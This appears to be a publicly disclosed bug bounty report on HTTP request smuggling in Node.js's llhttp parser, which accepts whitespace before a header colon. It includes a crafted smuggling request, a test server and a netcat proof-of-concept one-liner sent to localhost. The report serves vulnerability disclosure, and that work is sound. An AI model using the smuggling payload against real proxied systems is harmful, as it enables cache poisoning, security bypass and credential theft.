HexBrain

Node.js · Report #1238709

HTTP Request Smuggling due to accepting space before colon

Validstatus
mediumseverity
$250bounty
18upvotes
20 Oct 2021disclosed

How it was found

Summary: The llhttp parser in the httpmodule in Node 16.3.0 accepts requests with a space (SP) right after the header name before the colon. This can lead to HTTP Request Smuggling (HRS).

Description: When Node receives the following request:

GET / HTTP/1.1
Host: localhost:5000
Content-Length : 5

hello

It interprets the request as having the body hello. Here is the relevant section of the code: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L410-L415

How could this lead to HRS? Imagine that Node is placed behind a proxy which ignores the CL header with a space before the colon, but forwards it as is. Then the following attack can be performed:

GET / HTTP/1.1
Host: localhost:5000
Content-Length : 23

GET / HTTP/1.1
Dummy: GET /smuggled HTTP/1.1
Host: localhost:5000

The proxy would see the first and the second GET-request. But Node would see the first and the third GET-request.

Steps To Reproduce:

We don't know of any proxy that behaves this way, but here is how to show that Node is behaving in the described way. Run the following code like this: node app.js

const http = require('http');

// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/

http.createServer((request, response) => {
  let body = [];
  request.on('error', (err) => {
    response.end("error while reading body: " + err)
}).on('data', (chunk) => {
    body.push(chunk);
}).on('end', () => {
    body = Buffer.concat(body).toString();

    response.on('error', (err) => {
        response.end("error while sending response: " + err)
    });

    response.end("Body length: " + body.length.toString() + " Body: " + body);
  });
}).listen(5000);

Then send a request with a space between the CL header and the colon. This can be done with the following one-liner:

echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000

See that Node interpreted the body as hello.

Supporting Material/References:

Relevant section of RFC 7230 (second paragraph of https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4):

   No whitespace is allowed between the header field-name and colon.  In
   the past, differences in the handling of such whitespace have led to
   security vulnerabilities in request routing and response handling.  A
   server MUST reject any received request message that contains
   whitespace between a header field-name and colon with a response code
   of 400 (Bad Request).  A proxy MUST remove any such whitespace from a
   response message before forwarding the message downstream.

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original